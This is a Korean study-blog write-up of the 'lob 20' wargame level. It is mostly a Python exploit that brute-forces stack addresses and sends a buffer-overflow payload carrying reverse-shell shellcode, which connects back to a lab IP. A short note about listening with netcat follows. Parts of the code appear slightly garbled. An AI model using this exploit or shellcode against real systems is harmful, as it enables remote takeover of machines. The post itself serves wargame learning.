본문 바로가기

Pwnable/▷ Study

lob 20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from socket import *
import struct
 
= lambda x : struct.pack("<I", x)
 
shellcode = ""
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
shellcode += "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
shellcode += "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
shellcode += "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
shellcode += "\xc0\xa8\xf2\x82\x66\x68\x15\xB3\x66\x53\xfe" #192.168.242.130 5555
shellcode += "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
shellcode += "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
shellcode += "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
shellcode += "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
shellcode += "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
shellcode += "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
shellcode += "\x80"
 
for i in range(0xbfffffff0xbfff0000-100):
    payload = "A"*44 + p(i)
    payload += "\x90"*(256 - 48 - len(shellcode)) + shellcode
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.242.131"6666))
    s.send(payload)
    s.close()
cs

소켓 연결해서 푸는 문젠데 필터링 없어서 오버플로우는 굉장히 쉽다.

하지만 스택 주소를 모르는데 그냥 brute force(0xbfff0000 ~ 0xbfffffff) 하면된다.

일단 터미널 두개 켜놓고 하나에는 nc -lvp (원하는포트) 해서 켜두고 나머지 남은 터미널에다가 익스코드 실행하면 저렇게 연결된다. 

이번 문제에서는 리버스쉘코드를 이용하는걸 배운거 같다


 

'Pwnable > ▷ Study' 카테고리의 다른 글

SROP 32bit, 64bit  (2) 2018.07.08
pig_hunting  (2) 2018.03.01
lob 18  (0) 2018.02.21
ftz level20  (0) 2018.02.18
ftz level19  (0) 2018.02.18